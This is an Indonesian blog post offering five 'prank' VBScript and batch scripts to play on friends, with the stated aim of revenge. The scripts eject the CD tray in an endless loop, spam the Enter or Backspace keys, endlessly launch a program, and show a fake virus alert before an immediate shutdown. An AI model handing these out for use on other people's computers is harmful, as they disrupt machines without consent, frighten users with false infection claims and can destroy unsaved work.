Kali ini kita akan membahas tentang Script Script Iseng untuk Menjahili Teman atau Orang lain.
Cara gunainnya seperti biasa lewat Notepad, Untuk melihatnya Baca Postingan sebelumnya
1. Meng-eject Drive CD-Room Terus-Menerus
Code:
Set oWMP = CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
2. Tombol Enter Terus-terusan Aktif
Code:
Set wshShell = wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
3. Backspace (Jika menekan tombol Bacspace akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa dibuat semau kita.)
Code:
MsgBox “Maaf, Anda Harus Mengulang Kembali”
Set wshShell =wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
4. Iseng Dengan Membuka Calculator Terus Menerus
Code:
@ECHO off
:top
START %SystemRoot%\system32\cacl.exe
GOTO top
5. Iseng Dengan Shutdown Komputer
Code:
@echo off
msg * Komputer Anda Terinfeksi Virus
shutdown -c “Error! Virus Menyebar Keseluruh System!” -s -t 0
Semoga Bermanfaat buat Balas Dendam.. hehe
Sumber : http://yasiranak252.blogspot.com/2010/09/script-script-komputer-untuk-jahil.html
1 komentar:
:)) :)] ;)) ;;) :D ;) :p :(( :) :( :X =(( :-o :-/ :-* :| 8-} ~x( :-t b-( :-L x( =))
:)) :)] ;)) ;;) :D ;) :p :(( :) :( :X =(( :-o :-/ :-* :| 8-} ~x( :-t b-( :-L x( =))
Posting Komentar